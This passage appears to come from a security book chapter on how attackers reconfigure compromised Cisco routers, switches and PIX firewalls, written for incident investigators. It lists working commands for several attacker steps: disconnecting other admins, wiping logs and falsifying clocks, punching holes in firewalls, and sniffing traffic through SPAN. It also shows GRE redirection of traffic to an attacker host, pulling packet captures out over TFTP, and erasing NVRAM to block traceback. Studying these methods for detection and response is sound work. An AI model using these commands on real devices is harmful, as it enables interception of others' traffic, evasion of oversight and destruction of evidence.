COMMON CISCO ROUTER, SWITCH, OR FIREWALL RECONFIGURATIONS BY ATTACKERS
| | ||
| | ||
| | ||
COMMON CISCO ROUTER, SWITCH, OR FIREWALL RECONFIGURATIONS BY ATTACKERS
While different attacker types will have different aims, ranging from distributed denial-of-service (DDoS) to Voice over Internet Protocol (VoIP) traffic stealing, crackers are likely to perform some common settings alterations. When investigating a break-in, pay close attention to these commands and entries in logs, configuration files, and terminal history.
Is Anyone Here?
| Attack |
|
The first thing any reasonable attacker would do after gaining enable and running show version to see exactly what kind of a device he has taken over is to check whether other users (a system administrator or other crackers) are currently logged in. On both IOS routers and Catalyst switches, this is done via the show users command:
c2600#sh users Line User Host(s) Idle Location * 66 vty 0 idle 00:00:00 192.168.77.5 Gromozeka (enable) sh users Console Port ------------ Active Telnet Sessions User ---------------------------------------- ----------------------------- 192.168.77.5
On the IOS router, you can also use who , which would provide similar output. On a PIX, only who is available. On the CatOS switch in the preceding output, the administrative console login is shown to be active. When other users are discovered , a thoughtful attacker would analyze the output and try to determine whether he is dealing with a legitimate system administrator or yet another cracker. The latter can be quite common if access to the system was accomplished via the easy means described in Chapter 6. Logins from the internal network range of the router or switch (for example, an RFC1918 address) or via out-of-bound remote access means (for example, the AUX port) are likely to be the system administrator, although one should not ignore the possibility of malicious insiders and wardialers. Unless the session is not shown as being idle for days, a sensible attacker would disconnect from the device and wait until the system administrator logs out before attempting any reconfiguration. If the attacker suspects that the other user is of his own kind, he can drop the competition from the system with ease:
c2600#sh users Line User Host(s) Idle Location * 66 vty 0 idle 00:00:00 192.168.77.5 67 vty 1 idle 00:02:20 192.168.77.6 c2600#clear line ? <0-70> Line number async-queue Clear queued rotary async lines aux Auxiliary line console Primary terminal line tty Terminal controller vty Virtual terminal x/y Slot/Port for Modems c2600#clear line vty 1 [confirm] [OK]
Then all the user at 192.168.77.6 can do is stare at the "Connection closed by foreign host" message.
On a CatOS switch, the command is slightly different:
Gromozeka (enable) disconnect ? Usage: disconnect <consoleip_addr> ip_addr is ipalias or IP address in dot notation: e.g. 101.102.103.104) Gromozeka (enable) disconnect 192.168.77.5 Telnet session from 192.168.77.5 disconnected. (1)
On a PIX firewall, it is also done in its own way:
pixfw# kill ? Usage: kill <telnet_id> pixfw# who 0: 192.168.77.5 pixfw# kill 0
SSH sessions are not shown using the who command. Instead, use this:
pixfw# show ssh sessions Session ID Client IP Version Encryption State Username 0 192.168.77.5 1.5 DES 6 pix 1 192.168.77.6 1.5 DES 6 pix
Then go to the configuration mode and drop the connection by its Session ID:
pixfw# conf t pixfw(config)# ssh disconnect 1
Another method of administrative connection to the PIX is via PIX Device Manager (PDM). Execute show pdm sessions to see whether anyone is using it. You can then drop such users using pdm disconnect <session_id> .
Covering Tracks
| Attack |
|
The next thing a sensible attacker would do is turn off logging or minimize the information going into logs. He would also turn off or corrupt log timestamps and eliminate the terminal command history. On the IOS router, the cracker would enter clear logging and clear logging xml (in case the XML logging buffer is present). Then he would go to the configuration mode, where a variety of options are available. The quickest and the dirtiest one is to turn all logging off with a no logging on command. A more delicate attacker would turn off only the specific forms of logging that he thinks are threatening . In particular, this applies to executing no logging host <IP address> , since the attacker has no control over the remote syslog server unless he hacks into the centralized logging host. An even more considerate cracker would change the logging level to the minimum without turning off logging with commands like these:
-
logging trap emergencies
-
logging console emergencies
-
logging buffered emergencies
-
logging history emergencies
-
logging monitor emergencies
Of course, it makes perfect sense to view the running device configuration with a command such as show running-config and show config (CatOS) , see which options are turned on that can make the attack detection possible, and start switching them off one by one, starting with the most threatening ones, such as logging to a remote host.
If SNMP information collection is used, it also makes sense to switch off SNMP traps and informs using the no snmp-server enable traps and no snmp-server enable informs commands. Then an attacker can turn off the log timestamps with no service timestamps log datetime msec . Alternatively, it is possible to alter the router's time without removing log timestamps to confuse future investigators and make logs practically useless. If the Network Time Protocol (NTP) client is operational, it can be turned off with the no ntp server <server IP> command. Then the cracker would exit to the EXEC mode and set an incorrect time with clock set hh:mm:ss . Finally, terminal history would be switched off using terminal history size , also in the EXEC mode.
On a CatOS switch, the two main commands to turn off logging are clear log and clear logging do not confuse them. Clear logging turns off the actual logging process, while clear log eliminates logs in the switch buffer.
Gromozeka (enable) clear logging ? Usage: clear logging buffer clear logging server <p-addr> Gromozeka (enable) clear log ? Usage: clear log [mod_num]
To deal with NTP, consider this:
Gromozeka (enable) clear ntp ? Clear ntp commands: ----------------------------------------------------------------------- clear ntp server Clear NTP server entry clear ntp timezone Clear NTP timezone
Apart from these clear commands, many CatOS logging parameters can be turned off via set logging <logging type> disable commandshere are some examples:
-
set logging server disable
-
set logging console disable
-
set logging session disable
-
set logging buffer disable
-
set logging timestamp disable
Log level severity could be reduced like so:
set logging level <facility> <severity> [default] facility = allcdpdtpdripdvlanearlfddifilesysipmcastmgmtmls pagpprotfiltpruningsecuritysnmpspantreesystactcptelnettftpvm psvtp severity = 0..7)
where is the lowest severity (emergencies). The severity of logs sent to a remote syslog server can be dropped to emergencies by setting logging server severity to 0. In addition, an attacker can drop the size of logging buffers to the minimum with set logging buffer 1 and set logging history 0. To deal with NTP, set ntp client disable and set ntp broadcastclient should suffice. Then a cracker may use the set time [day_of_week] [mm/dd/yyyy] [hh:mm:ss] command to enter a wrong time, or even play with set timezone [zone_name] [<hours> [minutes]], where hours = ˆ1212 and minutes = 059, or set summertime [enabledisable] [zone_name] and set timezone [zone_name] [<hours> [minutes]] to make less obvious correct time alterations. Do not underestimate the importance of correct system time! Logs with incorrect timestamps not only confuse the incident response team about the actual time of a hacking attack but also would not be accepted as hearsay evidence in a court of law.
Finally, to turn off dangerous (for the attacker) logging via SNMP, set snmp trap disable [trap_type] , set snmp rmon disable , and set snmp extendedrmon disable commands can be employed. A cracker can either turn off all the traps or selectively disable those he feels are a threat for future switch reconfiguration. The common trap types on CatOS switches are all , module , chassis , bridge , repeater , auth , vtp , ippermit , vmps , config , entity , stpx , and syslog . Extended Remote Monitoring (RMON) usually includes netflow, vlanmode, and vlanagent. An attacker would surely want to turn off config, syslog, ippermit, and netflow, and if any VLAN manipulation is planned-vtp, vlanmode, and vlanagent.
On a PIX firewall, use the clear logging command to wipe out logs in the buffer. Then go to configuration mode to turn off various forms of logging or change logging levels to emergencies (the designation of levels from 0 to 7 on a PIX is the same with IOS and CatOS boxes). The manipulation of logs on these firewalls is straightforward and stems from the description of the logging command:
pixfw(config)# logging help Usage: [no] logging on [no] logging timestamp [no] logging standby [no] logging host [<in_if>] <l_ip> [{tcp6}{udp17}/port#] [format {emblem}] [no] logging console <level> [no] logging buffered <level> [no] logging monitor <level> [no] logging history <level> [no] logging trap <level> [no] logging message <syslog_id> level <level> [no] logging facility <fac> [no] logging device-id hostname ipaddress <if_name> string <text> logging queue <queue_size> show logging [{message [<syslog_id>all]} level disabled] Now turn off the threatening functions, and logging level and logging queue size can be set to 0. Don't forget about the PDM, which also has logging functionality. Wipe out PDM logs with clear pdm logging and then execute pdm logging 0 to drop the PDM logging level to emergencies.
The NTP server setting on a PIX can be brought down with no ntp server <ip_address> followed by a system time change using the clock command and its variations related to the time zone and summer time:
# clock ? Usage: clock set <hh:mm:ss> {<day> <month> <month> <day>} <year> clock summer-time <zone> recurring [<week> <weekday> <month> <hh:mm> <week> <weekday> <month> <hh:mm>] [<offset>] clock summer-time <zone> date {<day> <month> <month> <day>} <year> <hh:mm> {<day> <month> <month> <day>} <year> <hh:mm> [<offset>] no clock summer-time clock timezone <zone> <hours> [<minutes>] no clock timezone show clock [detail] SNMP trapping and polling can be switched off using the no snmp-server enable traps and no snmp-server host [<if_name>] <local_ip> [trappoll] commands.
Looking Around
| Attcak |
|
Now the attacker has at least partially safeguarded himself against immediate detection and can take a deep breath of relief. Then the adrenaline kicks in. The first thing anyone would do is study the whole device configuration in detail, both in RAM and in the file stored on Non-volatile RAM (NVRAM). This means executing show running config and show startup-config (IOS and PIX OS) or show config (CatOSand remember that on a CatOS switch, RAM and NVRAM configs would be the same!). A thoughtful cracker would cut and paste both running and startup configurations to save himself time in the future and also diff both files to see whether any unsaved setting alterations exist.
Apart from analyzing the configuration files, many useful commands can be executed to find out more about the device, the traffic it passes , and its network neighborhood. On an IOS router, the following might be considered :
-
show reload Is the router scheduled for reload at some later time?
-
show kron schedule Are any other tasks scheduled for some time in the future by a system administrator?
-
show ip route and its subdivisions like show ip route summary or show ip route connected Don't we need to know the routing table?
-
show ip protocols and show ip protocols summary How about the running routing protocols, if any?
-
show arp or show ip arp The jolly neighborhood in the ARP table.
-
show clock detail Is the router time correct, or does it show something like *08:50:27.743 UTC Tue Mar 2 1993?
-
show interfaces summary and show interfaces For more details.
-
show tcp brief all and show ip sockets Open TCP and UDP ports and connections. Did we miss something?
-
show ip nat translations verbose How many hosts are going through Network Address Translation (NAT) (if in use) and what are their addresses?
-
show adjacency , show adjacency detail , and show adjacency summary A good long look at the neighborhood.
-
show ip cache flow Another look at the neighborhood and also common packet sizes.
-
show ip cef If Cisco Express Forwarding (CEF) is enabled, this also provides useful information about the router surroundings.
-
show ip cef internal An undocumented IOS command that provides more details than show ip cef . A similar one is show ip cef detail .
-
show snmp For all SNMP-related information.
-
sh ip accounting and show aaa user all To see user and IP accounting information, if enabled.
-
show aliases Did the system administrator create some useful ones? The default aliases are
Exec mode aliases: h help lo logout p ping r resume s show u undebug un undebug w where
-
show auto secure config Is autosecure configured? And if yes, how did you get in in the first place?
-
show file systems , then dir nvram: and dir flash: Sometimes, you can find more here than you would normally expect. Use the more command to read the contents of files found.
-
show proc cpu and show proc memory It is useful to know the state of the router's CPU and memory load to approximate how useful such a router may be for further attacks.
No doubt, more interesting show commands are out there that would show the attacker something not found in the running or startup configuration filefor example, checks on the status and descriptions of dial-in users, if present. However, since these would be quite specific, we will not dwell on them here and will move to CatOS instead. Here the amount of useful commands is considerably less but, nevertheless, sufficient:
-
show modules , show system , show port , and show flash Provides more useful information about the device.
-
show alias Comes in handy. By default there are no configured aliases.
-
show time Demonstrates whether the system time is correct.
-
show span Helps to discover a possible IDS sensor (but SPAN settings can be seen in the configuration file anyway).
-
show arp and show cam Helps to investigate the neighborhood. The show cam command has quite a few useful options to employ :
Gromozeka (enable) show cam Usage: show cam [count] <dynamicstaticpermanentsystem> [vlan] show cam <dynamicstaticpermanentsystem> <mod_num/port_num> show cam <mac_addr> [vlan] show cam agingtime show cam mlsrp <ip_addr> [vlan]
-
show netstat A very useful command that demonstrates open ports, connections, routes, and traffic statistics:
Gromozeka (enable) show netstat ? Usage: netstat [tcpudpipicmproutesstatsinterfaces] Commands ----------------------------------------------------------- show netstat Show active network connections show netstat stats Show TCP, UDP, IP, ICMP statistics show netstat tcp Show TCP statistics show netstat udp Show UDP statistics show netstat ip Show IP statistics show netstat icmp Show ICMP statistics show netstat interface Show interface statistics show netstat routes Show IP routing table
-
show ip Another useful command that can also show the routing table, as well as whether IP fragmentation, ICMP redirects, and unreachables are supported:
Gromozeka (enable) sh ip ? Show ip commands: --------------------------------------------------------- show ip alias Show aliases for IP Addresses show ip dns Show IP DNS information show ip route Show IP routing table show ip permit Show IP Permit List
-
show span and show spantree Sheds light on Spanning Tree Protocol
(STP) settings.
-
show vlan , show dvlan , show vtp , show trunk , and show vmps Provides all necessary information about static and dynamic virtual LANs ( VLANs ).
As to the PIX, you can also gather a wealth of information about the device characteristics and its neighbors by trying various show commands. The specificity of PIX as a firewall device provides us with a lot of information about the connections going through it. This is partly because NAT is generally in use on a PIX and you can view NAT translation tables to learn more about the penetrated network. The following show commands could be helpful for the attacker:
-
show cpu and show memory To view the load of the firewall.
-
show interface For the interfaces settings.
-
show clock To see whether the system time is correct.
-
show arp [timeoutstatistics] For the ARP table.
-
show route and show routing For the routing table.
-
show conn [count] [detail] To see and count the connections through the firewall.
-
show xlate A feature-rich command to show NAT translations.
-
show tcpstat To see open ports and connections to the firewall.
-
show h225 , show h245 , and show h323-ras For VOIP-related information.
-
show crypto With various parameters for IPSec-related data.
As you can see, every device provides useful information in accordance to its spe-cific function on the network. Let's proceed and see what can be done with Cisco routers and switches after the interrogation is finished.
Using a Hacked IOS Router to Hide Tracks
| Attack |
|
A common reason that attackers take over multiple routers is to use them to cover their tracks. In a classical scenario, the cracker would hop over a chain of routers via Telnet (or, better, Secure Shell Protocol) to the final router, from which she either connects to a backdoor on a hacked machine or launches an actual attack. For the latter, Generic Routing Encapsulation (GRE) tunnels from router to router need to be established. As you will see soon in the section "Using a Hacked IOS Router to Mirror, Capture, and Modify Bypassing Traffic," this is very easy to do. After the attack succeeds or necessary reconfiguration of a target host via a backdoor is done, the cracker can pull back, wiping out the chain routers in the process ( erase /all nvram: ). A brutal attacker may also bring them down by erasing their flash, so that these hosts become completely unavailable and any traceback becomes impossible .
The main problem for a cracker who wants to hop through the chain of remote routers is surmounting delay. In particular, this applies to experienced crackers who want to use legal and political gaps by connecting through countries with absent cybercrime laws and antagonistic political views. In many cases, such places are positioned quite far away and have underdeveloped networking infrastructure. So, realistically speaking, a track-hiding chain of routers will usually become impractical after reaching three hosts in a chain, if not less.
Somewhat of a variation of hiding one's tracks via a hacked router is port bouncing through it. This could be done using access lists and port forwarding, and a Cisco port bouncing utility is available from http://www.pkcrew.org to do it:
arhontus# ./ciscobnc Usage: ./ciscobnc [-t] [-l localport] [-r remoteport] -a address
An IRC bouncer that works through an "owned" Cisco router is available at http://www.evildollars.com/~chrak/dspcs.php?cs/programs//ciscoBNC.c.html . A cracker could run it on her own or on a hacked machine, connect to its port 7777 with an IRC client, and then execute
/quote doitup <router IP> <router password> irc.<something>.com <IRC server port>
to connect to a legitimate IRC server while hiding behind the "owned" router's address and domain name . One can, of course, run ping sweeps , traceroutes, and crude full connect portscans using a Telnet connection to a router. As a proof-of-concept, here is a basic ping sweep using gethemp , available at http://www.blacksheepnetworks.com/security/hack/hack2/www.getrewted.com.ar/ , a mirror of the deceased http://www.getrewted.com.ar site:
arhontus / # ./gethemp -t 192.168.77.85 -p ******* -n 192.168.66.100-200 getHEMP v0.2 (c) 2002 by ca0s && s0t4ipv6 * attemping connection to [192.168.77.85:23]. * only password needed. * sending [123456]. * seems we are logged in. * set range to 192.168.66.100-200 * Pinging 192.168.66.100 ... UP ! * Pinging 192.168.66.101 ... * Pinging 192.168.66.102 ... UP ! * Pinging 192.168.66.103 ... * Pinging 192.168.66.104 ... * Pinging 192.168.66.105 ... UP ! * Pinging 192.168.66.106 ... * Pinging 192.168.66.107 ... * Pinging 192.168.66.108 ... * Pinging 192.168.66.109 ... * Pinging 192.168.66.110 ... * Pinging 192.168.66.111 ... UP ! * Pinging 192.168.66.112 ... UP ! <skip>
It is not difficult to modify this code to run traceroute instead of ping or Telnet some host port by port. However, this is hardly an elegant approach. We are going to review a much better one in the "Further IOS Exploitation and Device Access Preservation" section.
Using a Hacked IOS Router or PIX Firewall to Allow Malicious Traffic Through
| Attack |
|
An attacker can also employ the router to allow the traffic to pass to the internal hosts on the network. One doesn't have to ping or portscan from an "owned" gateway routerit is sufficient to allow an outside scanner to send its traffic to the internal hosts. The same applies to any other types of external malicious traffic, such as the packets generated by vulnerability searching tools and exploits. Letting it through can be as simple as removing access lists or Context Based Access Control (CBAC) ip inspect and ip audit statements that stand in the cracker's way. Since manually entered access lists have preference over the ip inspect statements, an attacker doesn't even have to turn them off if he doesn't want to. Instead, they can be overtaken by a permit ip any any or more complex Access Control Lists (ACLs) assigned to the router's interfaces.
| Note | Killing ip audit settings will be done anyway, since when would a cracker want to run his packets through an IDS, even a basic one? |
If NAT is in use, which is likely the case, a cracker will have to forward ports to access internal servers and launch attacks against them. On an IOS router, typical static port forwarding is done with
ip nat inside source static [tcp udp] [internal server IP] [port to forward] [external IP address or interface number] [port that shows to the outside]
For example, to forward an internal web server at 10.10.1.1 to the outside world, you would enter ip nat inside source static tcp 10.10.1.1 80 interface serial0/0 8000 where the web server will become accessible from the outside on port 8000 on a WAN serial interface. Make sure that no access lists or stateful filtering block access to the open outside port. To be sure, you can explicitly allow access to this port with an inbound extended access list.
On a PIX firewall, which automatically assigns security levels to the interfaces and performs static filtering on the basis of these levels, an access list allowing the malicious traffic through is a must. Let's say we want to access an internal web server at 10.10.10.10 via a PIX firewall with an external IP 1.1.1.1. First, we need to create an access list that will allow external access to the port we want to connect:
pixfw(config)#access-list acl_inbound permit tcp any host 1.1.1.1 eq 80 pixfw(config)#access-group acl_inbound in interface outside
Then we can use the static statement to forward the port we want:
pixfw(config)#static (inside,outside) tcp 1.1.1.1 80 10.10.10.10 80 255.255.255.255
| Note | Of course, an attacker can simply set up a more simple static statement to forward traffic to the target based on the IP address only and not the IP:port pair. |
Now it should be possible to connect to the web server on 10.10.10.10 by connecting to the PIX TCP port 80.
This simple port forwarding combined with removing or adding ACL entries can bring an attacker great rewards. Many internal, completely unavailable from the Internet side, servers stay unpatched and unupdated for eons since the threat to them is not apparent. In particular, this applies to smaller companies that often fully trust their internal employees and don't have guest network access. Once the firewall or border router permits outside traffic to, let's say, an internal web server that is not looked after from the security perspective and runs plenty of testing stage applications and scripts, it hasn't got a chance against web hacking juggernauts like SPI Dynamics' WebInspect or Watch-Fire's AppScan.
Using a Hacked IOS Router to Mirror, Capture, and Modify Bypassing Traffic
| Attack |
|
What about sniffing all incoming and outgoing traffic on a hacked router to grab useful plaintext information, such as e- mails and user passwords? Of course, one can accomplish it using commands such as debug ip tcp packet :
c2600#debug ip tcp packet ? <skip> address IP address (source or destination) in Incoming segments out Outgoing segments port Port number (source or destination) <skip>
If you want to use the debug ip packet <ACL number> command instead, an undocumented IOS option lets you see the flying packets in ASCII and hex by adding dump after the ACL number. Such an approach has many disadvantages, however. An attacker would have to execute terminal monitor and then constantly sit and watch the packets fly by, waiting for something useful to pass. He wouldn't be able to modify the bypassing content; saving it via copy and paste isn't comfortable, either. In addition, if the amount of traffic is significant, the debug may significantly slow down or even crash the router. Finally, having a constant Telnet connection to the router doesn't contribute much to the attacker's stealth.
| Note | When on a hacked router, a sensible attacker would periodically run the show users command to check whether anyone else, such as the system administrator, has logged in. |
A much better way is to redirect all traffic to a host under the attacker's control, efficiently executing a remote man-in-the-middle attack. Via policy routing and GRE, the traffic can be sent to another Cisco router that the attacker considers capable of handling the additional debug load. However, it is also possible to redirect network traffic through a Linux host with enabled GRE support. Such a host will have a whole collection of traffic sniffing and modification tools ( dsniff , ettercap , pdump , netsed , omen ) installed and ready to go. A module in ettercap called gre_relay (Zaratan in older ettercap versions) is even designed to assist in this type of attack and to bring into the game other ettercap plug-ins and functions designed to attack Server Message Block (SMB), Point-to-Point Tunneling Protocol (PPTP), SSH, and other common traffic. This plug-in is based on a tunnelx , the first proof-of-concept tool for policy routing and GRE redirect attack demonstration, originally published in Phrack 56 by Gauis.
Thus, keeping these facts in mind, it makes more sense to describe here a Cisco-to-Linux redirection/mirroring method. As stated in the Gauis article, " reroute some traffic from a router and send it to some other place, capture it and resend it to the router and make it look like nothing ever happened ."
The first thing we need to do is establish a GRE tunnel between the hacked IOS router and the attacker's Linux box. On a router, set the tunnel's source, destination, and type:
Owned#conf t Owned(config)#int tun0 Owned(config-if)#ip address <tunnel IP address> <netmask> Owned(config-if)#tunnel source eth0/0 Owned(config-if)#tunnel dest <IP address of the other tunnel end> Owned(config-if)#tunnel mode gre ip Owned(config-if)#exit
On a Linux machine, set the other end of the tunnel:
arhontus / # modprobe ip_gre (insert the GRE module if not using the GRE support in the kernel) arhontus / # echo 1 > /proc/sys/net/ipv4/ip_forward (if not done already) arhontus / # ip tunnel add tun0 mode gre remote <router IP address> local <sniffing box IP address> arhontus / # ip addr add 192.168.10.4/24 dev tun0 arhontus / # ip link set dev tun0 up
Now the tunnel is up and you should be able to ping through it. Time to redirect the traffic. On the router side, first define what kind of traffic you want to redirect with an access listfor example access-list <ACL number> permit ip any any . Then define and activate an appropriate route map:
Owned(config)#route-map redirect Owned(config-route-map)#match ip address <ACL number> Owned(co-nfig-route-map)#set ip next-hop <IP address of the other tunnelend> Owned(config-route-map)#exit Owned(config)#int eth0/0 Owned(config-if)# ip policy route-map redirect
On the Linux side, launch the ettercap gre_relay plug-in, supply it with an unused IP address, and enjoy the results. Alternatively, you can use the original tunnelx ; however, you would need an older version of GCC and Libnet to compile it. It is not necessary to use tunnelx or gre_relay to mirror the traffic, but such action would be easily discoverable with a traceroute, as an additional hop would be introducedand that is what you are trying to avoid. When removing the configuration from the router after the attack is done, first remove the route map and, only then, the access list; otherwise , a deadly routing loop will occur, the router would be lost, and the sniffed network would experience a DoS.
| Tip | It is possible to use a longer chain of redirectfor example, a hacked Cisco routercontrolled Cisco routerUNIX attack machine. Such a possibility is explored in David Taylor's paper "Using a Compromised Router to Capture Network Traffic," available from http://www.geocities.com/david_taylor_au/ . The Gauis article at http://www.phrack.org/phrack/56/p56-0x0a and Joshua Wright's GIAC practical section D8 ( http://www.giac.org/practical/Joshua_Wright_GCIH.zip ) also provide good bedtime reading on the topic of using a hacked IOS router for traffic redirection and sniffing. |
Sniffing Traffic from a Hacked PIX Firewall
| Attack |
|
To get bypassing traffic from a PIX firewall, a cracker does not even need to use policy routing or establish tunnels. Since PIX OS version 6.2, traffic capturing and storage in pcap format files is a natively supported feature designed for better network trouble-shooting capability. Of course, it can be abused by attackers to use the "owned" firewall as a highly configurable remote sniffer. Using packet capture in PIX is easy. First, set up access lists describing the type of traffic you are interested infor example e-mail traffic:
pixfw(config)# access-list smtp permit tcp any any eq smtp pixfw(config)# access-group smtp in interface outside pixfw(config)# access-group smtp in interface inside
Then start capturing the data via the capture command:
pixfw(config)# capture test access-list smtp buffer 1024 interface outside
The default capture buffer size is 512 K, but you can increase it as much as the fire-wall memory will allow.
Be careful not to interfere with the existing ACLs while applying your lists for sniffing. The safest option is to use already existing lists that are likely to contain the entries you want or add needed access lists to them.
Verify that the packets are sniffed with a show capture smtp or show capture smtp detail command. As long as the capture is running, you can pull out the captured data in the libpcap format for further analysis with Ethereal or other sniffers. This can be done via Trivial File Transfer Protocol (TFTP) using copy capture:smtp tftp://<TFTP server IP>/pcapdump_filename pcap . An even easier option is to grab the dump via a casual web browser. While entering https ://www.PIX_IP_address/capture/capture_name as a URL will allow you to view the caught packets, adding pcap to the path will trigger the dump download. Figure 10-1 shows an example of a small sample capture file viewed and pulled from our testing PIX 515E firewall.
Figure 10-1: Viewing and downloading captured traffic from a PIX firewall
When you have caught all the wanted data, turn off the capture with a no capture <capture name> command and wipe out the capture buffer with the clear capture <capture name> command. Then remove all additional access lists and access lists entries. Verify that the removal is successful with a show capture <capture name> command.
Since PIX access lists can describe practically any traffic type and remote pulling of the dumps in libpcap format is so easy, these firewalls make one of the greatest versatile and flexible sniffing devices one can encounter on the Internet.
Sniffing the Network Using a Cisco Catalyst Switch
| Attack |
|
A remote or local attacker can do quite a few things using a hacked Catalyst switch. Some of the obvious ones include removing or modifying various access lists (including MAC address-based filtering) and removing, altering, or adding VLANs on a switch to gain access to normally inaccessible traffic. Setting the switch as a root bridge of a running spanning tree is a bonus, since more traffic will be directed through that switch. We will deal with the Spanning Tree Protocol (STP) in detail in Chapter 12. For now, remember that the switch with the lowest STP priority wins and becomes a root of the STP domain. The lowest STP priority possible is 0. To set it on a CatOS switch, use the set spantree priority 0 <VLAN number> command. On a IOS-based switch, the command is spanning-tree vlan <VLAN number> priority 0 . Per-VLAN STP is common these days, so don't forget to supply the switch with the number of the VLAN on which you want to become the STP root bridge.
Getting more traffic flowing through the switch is fine, but how do we capture it? If the switch has a Route Switch Module (RSM) installed and we have an access to it, we can use it to follow exactly the same attack routines we used with an IOS router. What if "a switch is just a switch"? In such a case, we can abuse the Cisco Switched Port Analyzer (SPAN) functionality. This feature allows a system administrator to direct traffic from the selected switch ports or whole VLANs to a monitoring interface, into which a sniffing host is plugged. Thus, a cracker will need a host on the network that she controls on which she can install a sniffer. Such host can be a gateway Cisco router, from which the traffic can be further forwarded to an external host via policy routing and GRE. This is the worst case scenario, but it is possible since common administrative access policy for all Cisco devices on the same network is often seen. In layman's terms, this means that if a cracker has guessed a read-write (RW) SNMP community on a router, chances are the same or a similar community name is used on a switch. Or if the configuration files were pulled from a TFTP server, both routers and switches configuration files fall into the attacker's hands.
Before explaining how to set up SPAN, it is important that you understand several things about this Catalyst functionality. Firstly, the capabilities of SPAN are quite different on different Catalyst models. Also, the SPAN functionality would differ when a trunk port is involved as a monitored or monitoring interface. Port-based and VLAN-based SPANs should be distinguished. Finally, a new form of SPAN, a Remote SPAN (RSPAN), may be abused by an attacker, which can be catastrophic.
SPAN functionality of Catalyst 2900XL/3500XL switches is relatively limited. All monitored ports must be on the same VLAN. The monitor port can't be a trunk or dynamic access interface. It can't have port security and MAC filtering enabled, but the attacker would turn them off anyway. To enable SPAN on a 2900XL/3500XL Catalyst, go to the interface the sniffing host is plugged into and set the ports for sniffing with a port monitor <interface> commandfor example, port monitor FastEthernet0/3 . An administrative interface is an exemption: to sniff it, use port monitor VLAN1 . To validate the configuration, run show port monitor .
How about other IOS-based Catalysts? Here are the guidelines for SPAN use on 2940, 2950, 2970, 3550, 3560, and 3750 Catalyst switches. These guidelines are taken from the Cisco web site:
-
The Catalyst 2950 switches can have only a single SPAN session active at a time and can sniff source ports, but not whole VLANs.
-
The Catalyst 2950 and 3550 switches can forward traffic on a monitoring SPAN port in Cisco IOS Software Releases later than 12.1(13)EA1.
-
The Catalyst 3550, 3560, and 3750 switches can support two SPAN sessions at a time and monitor both source ports and VLANs.
-
The Catalyst 2970, 3560, and 3750 switches do not need reflector port configuration when configuring RSPAN sessions.
-
The stackable Catalyst 3750 switches support SPAN configuration using source and destination ports that reside on any of the switch stack members .
SPAN configuration on Catalyst 2950 and Catalyst 3550 series, as well as on the Catalyst 4500/4000 and 6500/6000 switches running IOS, is set in a general configuration mode and not on the separate switch interfaces:
c2950# configure terminal c2950(config)# monitor session 1 source interface fastethernet 0/3 c2950(config)# monitor session 1 source interface fastethernet 0/4 c2950(config)# monitor session 1 destination interface fastethernet 0/5
To verify that SPAN is set up properly, use show monitor session 1 .
| Note | Source port and monitored port are synonymous, and the same applies to destination port and monitoring port . You will encounter all of these terms in various sources. For the purposes of this book we prefer the monitored and monitoring terminology. |
SPAN configuration in CatOS is done via a single set span command. But don't relax yet, because this command has multiple options to consider:
CatOS_switch(enable)set span ? Usage: set span disable [dest_mod/dest_portall] set span <src_mod/src_ports...src_vlans...sc0> <dest_mod/dest_port> [rxtxboth] [inpkts <enabledisable>] [learning <enabledisable>] [multicast <enabledisable>] [filter <vlans...>] [create]
The basic syntax is set span monitored_ports monitoring_port for example, set span 3/1-12 2/1 . To sniff selected VLANs, the syntax is set span monitored_vlan(s) monitoring_port for example, set span 2,3,4,5 5/3 . Verify the sniffing with show span . If we set a trunk port as monitored, all VLANs traffic passing through the trunk will be sniffed. Thus, it's a bonus. If for some reason you don't want to intercept the data from a particularly boring VLAN, you can eliminate it from the sniffing process by adding a filter <number of a boring VLAN> statement to the set span command.
What will happen if the monitoring port is a trunk? All captured packets would have their VLAN tags intact and you will be able to identify their VLANs by looking at these tags in Ethereal. Thusthis is also a bonusan attacker may consider setting up the monitoring port as a trunk.
Some set span options deserve consideration. To sniff the Catalyst management interface, use the sc0 as its name, where this option is available (5500/5000 and 6500/6000 series, and CatOS version 5.1 or later). To intercept the traffic sent to the Multilayer Switch Feature Card (MSFC) on Catalyst 6500/6000 switches, set the port 15/1 or 16/1 as monitored. If you are fed up with multicast traffic filling up the sniffer buffers and dumps, employ the multicast disable option. Finally, but most importantly, configure inpkts enable to allow bidirectional communication with the sniffing host; otherwise, it would become accessible only after SPAN is turned off with the set span disable [all monitoring port] command. If this option is forgotten, not only won't the attacker be able to watch the sniffing in progress, but a host that can't send packets into the network will surely raise complaints and alarms, and the host can be rebooted by a legitimate user.
(Ab)using Remote SPAN
| Attack |
|
RSPAN allows you to sniff traffic spread across the entire switched network, not just on a single switch. This feature is available on Catalyst models 6000/6500 since CatOS version 5.3 and Catalyst models 4000/4500 since CatOS 6.3. There is no black magic in setting RSPAN to work. It won't propagate from switch to switch like a worma cracker still needs to have enable access to all switches on which the traffic is to be intercepted. However, if a common management vulnerability (as mentioned in the beginning of the previous section) is exploited, this is not a problem. An attacker will also require all sniffed switches to have Virtual Trunking Protocol (VTP) turned on and be on the same VTP domain. This is not difficult to configure with the set vtp command.
How does RSPAN work? A separate special RSPAN VLAN is created. Instead of flooding the traffic to a monitoring port, all participating switches send it to this VLAN. The monitoring port with a sniffing device plugged in can be placed anywhere on the RSPAN VLAN. If you wish, several monitor ports could be set. To carry the RSPAN VLAN, trunk ports must be placed between the participating Catalysts. Again, configuring these trunk ports with a set trunk <port> desirable command isn't rocket science. The switches that have monitored ports are called source switches , and the switches that have monitoring ports are destination switches . Switches that do not have any sniffed or sniffing ports, but still carry the intercepted traffic through the RSPAN VLAN, are the intermediate switches . RSPAN sessions can happily coexist with the traditional SPAN. Unfortunately for the attackers, neither sc0 traffic nor Layer 2 protocols (CDP, DTP, and VTP) capture is supported by RSPAN.
To configure RSPAN on the switches you control, first ensure that the conditions we have outlined (common VTP domain, trunk ports) are met. Then create the RSPAN VLAN with a command like set vlan 55 rspan , where 55 is the VLAN number. The switch on which the VLAN is created must be a VTP server (which is set by default when VTP is configured anyway) to carry the information about the new VLAN to other switches on the same VTP domain. Then configure the monitoring port on one of the interfaces that belong to the RSPAN VLAN using set rspan destination <port number> <RSPAN VLAN number> . Now you can set the ports to sniff by logging onto the appropriate Catalysts and executing set rspan source <port number> <RS-PAN VLAN number> . Verify that everything works with show rspan .
